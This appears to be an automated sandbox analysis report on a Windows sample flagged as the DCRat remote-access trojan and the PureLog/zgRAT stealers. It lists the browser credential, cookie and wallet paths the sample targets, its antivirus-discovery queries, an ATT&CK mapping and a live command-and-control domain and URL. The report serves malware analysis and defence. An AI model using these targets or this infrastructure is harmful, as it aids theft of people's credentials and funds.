Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Queries volume information: C:\Windows\Fonts\LFAXDI.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Queries volume information: C:\Windows\Fonts\LHANDW.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Queries volume information: C:\Windows\Fonts\LSANS.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Queries volume information: C:\Windows\Fonts\LSANSD.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Queries volume information: C:\Windows\Fonts\LTYPE.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Queries volume information: C:\Windows\Fonts\LTYPEB.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Queries volume information: C:\Windows\Fonts\LTYPEBO.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Queries volume information: C:\Windows\Fonts\MATURASC.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Queries volume information: C:\Windows\Fonts\MSUIGHUR.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Queries volume information: C:\Windows\Fonts\MSUIGHUB.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Queries volume information: C:\Windows\Fonts\MTCORSVA.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Queries volume information: C:\Windows\Fonts\MTEXTRA.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Queries volume information: C:\Windows\Fonts\NIAGENG.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Queries volume information: C:\Windows\Fonts\OCRAEXT.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Queries volume information: C:\Windows\Fonts\OLDENGL.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Queries volume information: C:\Windows\Fonts\ONYX.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Queries volume information: C:\Windows\Fonts\PERI____.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Queries volume information: C:\Windows\Fonts\PERBI___.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Queries volume information: C:\Windows\Fonts\RAGE.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Queries volume information: C:\Windows\Fonts\ROCK.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Queries volume information: C:\Windows\Fonts\ROCKEB.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Queries volume information: C:\Windows\Fonts\TEMPSITC.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Queries volume information: C:\Windows\Fonts\VINERITC.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Queries volume information: C:\Windows\Fonts\VLADIMIR.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Queries volume information: C:\Windows\Fonts\WINGDNG3.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Queries volume information: C:\Windows\Fonts\OFFSYML.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Queries volume information: C:\Windows\Fonts\arialbd.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Queries volume information: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe VolumeInformation
Source: C:\Windows\System32\cmd.exe	Queries volume information: C:\ VolumeInformation
Source: C:\comReviewintocommon\driverSavesNet.exe	Queries volume information: C:\comReviewintocommon\driverSavesNet.exe VolumeInformation
Source: C:\comReviewintocommon\driverSavesNet.exe	Queries volume information: C:\comReviewintocommon\driverSavesNet.exe VolumeInformation
Source: C:\Recovery\gNKaMdWfDFzDkhEeKzQ.exe	Queries volume information: C:\Recovery\gNKaMdWfDFzDkhEeKzQ.exe VolumeInformation
Source: C:\Windows\en-GB\gNKaMdWfDFzDkhEeKzQ.exe	Queries volume information: C:\Windows\en-GB\gNKaMdWfDFzDkhEeKzQ.exe VolumeInformation
Source: C:\comReviewintocommon\driverSavesNet.exe	Queries volume information: C:\comReviewintocommon\driverSavesNet.exe VolumeInformation
Source: C:\Recovery\gNKaMdWfDFzDkhEeKzQ.exe	Queries volume information: C:\Recovery\gNKaMdWfDFzDkhEeKzQ.exe VolumeInformation
Source: C:\comReviewintocommon\driverSavesNet.exe	Queries volume information: C:\comReviewintocommon\driverSavesNet.exe VolumeInformation
Source: C:\Recovery\gNKaMdWfDFzDkhEeKzQ.exe	Queries volume information: C:\Recovery\gNKaMdWfDFzDkhEeKzQ.exe VolumeInformation
Source: C:\comReviewintocommon\driverSavesNet.exe	Queries volume information: C:\comReviewintocommon\driverSavesNet.exe VolumeInformation

Source: C:\Windows\SysWOW64\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : SELECT * FROM AntivirusProduct
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : SELECT * FROM FirewallProduct

Stealing of Sensitive Information

Yara detected DCRat

Source: Yara match	File source: 0000000B.00000002.2925956771.0000000003327000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.2951537951.0000000013331000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.1920002113.0000000012C8B000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.2925956771.0000000003544000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: driverSavesNet.exe PID: 7840, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: gNKaMdWfDFzDkhEeKzQ.exe PID: 8040, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: gNKaMdWfDFzDkhEeKzQ.exe PID: 8076, type: MEMORYSTR

Yara detected PureLog Stealer

Source: Yara match	File source: fluent.exe, type: SAMPLE
Source: Yara match	File source: 0.3.fluent.exe.730f4fb.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.fluent.exe.7c264fb.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.0.driverSavesNet.exe.630000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.fluent.exe.730f4fb.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.fluent.exe.7c264fb.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000003.1674120767.00000000071D1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000000.1862359118.0000000000632000.00000002.00000001.01000000.0000000A.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1674814949.0000000007AE8000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe, type: DROPPED
Source: Yara match	File source: C:\comReviewintocommon\driverSavesNet.exe, type: DROPPED

Yara detected zgRAT

Source: Yara match	File source: fluent.exe, type: SAMPLE
Source: Yara match	File source: 0.3.fluent.exe.730f4fb.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.fluent.exe.7c264fb.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.0.driverSavesNet.exe.630000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.fluent.exe.730f4fb.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.fluent.exe.7c264fb.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe, type: DROPPED
Source: Yara match	File source: C:\comReviewintocommon\driverSavesNet.exe, type: DROPPED

Found many strings related to Crypto-Wallets (likely being stolen)

Source: gNKaMdWfDFzDkhEeKzQ.exe, 0000000B.00000002.2925956771.00000000033AD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: Electrum
Source: gNKaMdWfDFzDkhEeKzQ.exe, 0000000B.00000002.2925956771.00000000033AD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: \Electrum\wallets\
Source: driverSavesNet.exe, 00000005.00000002.1913167210.0000000002C59000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: cjelfplplebdjjenllpjcblmjkfcffne:JaxxLiberty
Source: gNKaMdWfDFzDkhEeKzQ.exe, 0000000B.00000002.2925956771.00000000033AD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: \Exodus\exodus.wallet\
Source: driverSavesNet.exe, 00000005.00000002.1913167210.0000000002C59000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: aholpfdialjgjfhomihkjbmgjidlcdno:Exodus
Source: gNKaMdWfDFzDkhEeKzQ.exe, 0000000B.00000002.2925956771.00000000033AD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: \Coinomi\Coinomi\wallets\
Source: gNKaMdWfDFzDkhEeKzQ.exe, 0000000B.00000002.2925956771.00000000033AD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: \Exodus\exodus.wallet\
Source: fluent.exe, 00000000.00000003.1674120767.00000000071D1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: set_UseMachineKeyStore

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data-journal	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data-journal	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite-shm	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies-journal	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension Cookies-journal	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account-journal	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data-journal	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite-wal	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension Cookies	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior

Remote Access Functionality

Yara detected DCRat

Source: Yara match	File source: 0000000B.00000002.2925956771.0000000003327000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.2951537951.0000000013331000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.1920002113.0000000012C8B000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.2925956771.0000000003544000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: driverSavesNet.exe PID: 7840, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: gNKaMdWfDFzDkhEeKzQ.exe PID: 8040, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: gNKaMdWfDFzDkhEeKzQ.exe PID: 8076, type: MEMORYSTR

Yara detected PureLog Stealer

Source: Yara match	File source: fluent.exe, type: SAMPLE
Source: Yara match	File source: 0.3.fluent.exe.730f4fb.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.fluent.exe.7c264fb.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.0.driverSavesNet.exe.630000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.fluent.exe.730f4fb.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.fluent.exe.7c264fb.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000003.1674120767.00000000071D1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000000.1862359118.0000000000632000.00000002.00000001.01000000.0000000A.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1674814949.0000000007AE8000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe, type: DROPPED
Source: Yara match	File source: C:\comReviewintocommon\driverSavesNet.exe, type: DROPPED

Yara detected zgRAT

Source: Yara match	File source: fluent.exe, type: SAMPLE
Source: Yara match	File source: 0.3.fluent.exe.730f4fb.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.fluent.exe.7c264fb.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.0.driverSavesNet.exe.630000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.fluent.exe.730f4fb.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.fluent.exe.7c264fb.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe, type: DROPPED
Source: Yara match	File source: C:\comReviewintocommon\driverSavesNet.exe, type: DROPPED

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	11 Scripting	Valid Accounts	241 Windows Management Instrumentation	11 Scripting	1 Exploitation for Privilege Escalation	1 Disable or Modify Tools	1 OS Credential Dumping	3 File and Directory Discovery	1 Taint Shared Content	1 Archive Collected Data	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	1 DLL Side-Loading	1 DLL Side-Loading	1 Deobfuscate/Decode Files or Information	LSASS Memory	146 System Information Discovery	Remote Desktop Protocol	2 Data from Local System	2 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Scheduled Task/Job	1 Scheduled Task/Job	12 Process Injection	3 Obfuscated Files or Information	Security Account Manager	541 Security Software Discovery	SMB/Windows Admin Shares	1 Clipboard Data	12 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	31 Registry Run Keys / Startup Folder	1 Scheduled Task/Job	14 Software Packing	NTDS	2 Process Discovery	Distributed Component Object Model	Input Capture	Protocol Impersonation	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	31 Registry Run Keys / Startup Folder	1 DLL Side-Loading	LSA Secrets	461 Virtualization/Sandbox Evasion	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 File Deletion	Cached Domain Credentials	1 Application Window Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	132 Masquerading	DCSync	1 Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	461 Virtualization/Sandbox Evasion	Proc Filesystem	1 System Network Configuration Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	12 Process Injection	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
fluent.exe	68%	ReversingLabs	Win32.Trojan.DCRat
fluent.exe	100%	Avira	VBS/Runner.VPG
fluent.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\Desktop\VbfYWdkt.log	100%	Avira	TR/PSW.Agent.qngqt
C:\Users\user\AppData\Local\Temp\RJ4yfxqn4J.bat	100%	Avira	BAT/Delbat.C
C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	100%	Avira	HEUR/AGEN.1323342
C:\Users\user\Desktop\LtLImAfM.log	100%	Avira	HEUR/AGEN.1300079
C:\comReviewintocommon\TWlWAN2ryscXhu39ZLKnk88Wy4VE5T41kI6bFa9kkkqSh.vbe	100%	Avira	VBS/Runner.VPG
C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	100%	Avira	HEUR/AGEN.1323342
C:\Users\user\Desktop\xGvCnmjD.log	100%	Avira	TR/PSW.Agent.qngqt
C:\Users\user\Desktop\gzfXUzEp.log	100%	Avira	HEUR/AGEN.1300079
C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	100%	Avira	HEUR/AGEN.1323342
C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	100%	Avira	HEUR/AGEN.1323342
C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	100%	Avira	HEUR/AGEN.1323342
C:\comReviewintocommon\driverSavesNet.exe	100%	Avira	HEUR/AGEN.1323342
C:\Users\user\Desktop\VbfYWdkt.log	100%	Joe Sandbox ML
C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	100%	Joe Sandbox ML
C:\Users\user\Desktop\XWWhkGoH.log	100%	Joe Sandbox ML
C:\Windows\System32\SecurityHealthSystray.exe	100%	Joe Sandbox ML
C:\Users\user\Desktop\kDbNjluP.log	100%	Joe Sandbox ML
C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	100%	Joe Sandbox ML
C:\Users\user\Desktop\xGvCnmjD.log	100%	Joe Sandbox ML
C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	100%	Joe Sandbox ML
C:\Users\user\Desktop\BKssDYZe.log	100%	Joe Sandbox ML
C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	100%	Joe Sandbox ML
C:\Users\user\Desktop\MisrAuuZ.log	100%	Joe Sandbox ML
C:\comReviewintocommon\driverSavesNet.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	53%	ReversingLabs	ByteCode-MSIL.Trojan.DCRat
C:\Recovery\gNKaMdWfDFzDkhEeKzQ.exe	53%	ReversingLabs	ByteCode-MSIL.Trojan.DCRat
C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\gNKaMdWfDFzDkhEeKzQ.exe	53%	ReversingLabs	ByteCode-MSIL.Trojan.DCRat
C:\Users\Default\AppData\Roaming\gNKaMdWfDFzDkhEeKzQ.exe	53%	ReversingLabs	ByteCode-MSIL.Trojan.DCRat
C:\Users\user\Desktop\BKssDYZe.log	17%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\Desktop\LtLImAfM.log	17%	ReversingLabs	ByteCode-MSIL.Trojan.DCRat
C:\Users\user\Desktop\MisrAuuZ.log	8%	ReversingLabs
C:\Users\user\Desktop\QOjHvYIG.log	25%	ReversingLabs
C:\Users\user\Desktop\VLAgkoJG.log	29%	ReversingLabs	ByteCode-MSIL.Trojan.Generic
C:\Users\user\Desktop\VbfYWdkt.log	71%	ReversingLabs	ByteCode-MSIL.Trojan.DCRat
C:\Users\user\Desktop\XWWhkGoH.log	17%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\Desktop\gzfXUzEp.log	17%	ReversingLabs	ByteCode-MSIL.Trojan.DCRat
C:\Users\user\Desktop\kDbNjluP.log	8%	ReversingLabs
C:\Users\user\Desktop\maBeiKPb.log	25%	ReversingLabs
C:\Users\user\Desktop\tgjDTeKx.log	29%	ReversingLabs	ByteCode-MSIL.Trojan.Generic
C:\Users\user\Desktop\xGvCnmjD.log	71%	ReversingLabs	ByteCode-MSIL.Trojan.DCRat
C:\Windows\en-GB\gNKaMdWfDFzDkhEeKzQ.exe	53%	ReversingLabs	ByteCode-MSIL.Trojan.DCRat
C:\comReviewintocommon\driverSavesNet.exe	53%	ReversingLabs	ByteCode-MSIL.Trojan.DCRat

Source	Detection	Scanner	Label
http://www.fontbureau.com	0%	URL Reputation	safe
http://www.fontbureau.com/designersG	0%	URL Reputation	safe
http://www.fontbureau.com/designers/?	0%	URL Reputation	safe
http://www.founder.com.cn/cn/bThe	0%	URL Reputation	safe
http://www.fontbureau.com/designers?	0%	URL Reputation	safe
http://www.tiro.com	0%	URL Reputation	safe
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	0%	URL Reputation	safe
http://www.fontbureau.com/designers	0%	URL Reputation	safe
http://www.goodfont.co.kr	0%	URL Reputation	safe
https://www.ecosia.org/newtab/	0%	URL Reputation	safe
http://www.carterandcone.coml	0%	URL Reputation	safe
http://www.sajatypeworks.com	0%	URL Reputation	safe
http://www.typography.netD	0%	URL Reputation	safe
https://ac.ecosia.org/autocomplete?q=	0%	URL Reputation	safe
http://www.fontbureau.com/designers/cabarga.htmlN	0%	URL Reputation	safe
http://www.founder.com.cn/cn/cThe	0%	URL Reputation	safe
http://www.galapagosdesign.com/staff/dennis.htm	0%	URL Reputation	safe
http://www.founder.com.cn/cn	0%	URL Reputation	safe
http://www.fontbureau.com/designers/frere-user.html	0%	URL Reputation	safe
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	0%	URL Reputation	safe
http://www.jiyu-kobo.co.jp/	0%	URL Reputation	safe
http://www.galapagosdesign.com/DPlease	0%	URL Reputation	safe
http://www.fontbureau.com/designers8	0%	URL Reputation	safe
http://www.fonts.com	0%	URL Reputation	safe
http://www.apache.org/licenses/LICENSE-2.0	0%	Avira URL Cloud	safe
https://duckduckgo.com/chrome_newtab	0%	Avira URL Cloud	safe
http://www.sandoll.co.kr	0%	URL Reputation	safe
http://www.urwpp.deDPlease	0%	URL Reputation	safe
http://www.zhongyicts.com.cn	0%	URL Reputation	safe
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	0%	URL Reputation	safe
http://www.sakkal.com	0%	URL Reputation	safe
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	0%	URL Reputation	safe
https://duckduckgo.com/ac/?q=	0%	Avira URL Cloud	safe
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	0%	Avira URL Cloud	safe
http://www.enigmaprotector.com/openU	0%	Avira URL Cloud	safe
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	0%	Avira URL Cloud	safe
http://373292cm.nyashka.top	100%	Avira URL Cloud	malware
http://373292cm.nyashka.top/	100%	Avira URL Cloud	malware
http://373292cm.nyP	0%	Avira URL Cloud	safe
http://www.enigmaprotector.com/	0%	Avira URL Cloud	safe
http://373292cm.nyashka.top/JavascriptSecureSqlLocalTemporary.php	100%	Avira URL Cloud	malware

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
373292cm.nyashka.top	80.211.144.156	true	true		unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://373292cm.nyashka.top/JavascriptSecureSqlLocalTemporary.php	true	Avira URL Cloud: malware	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
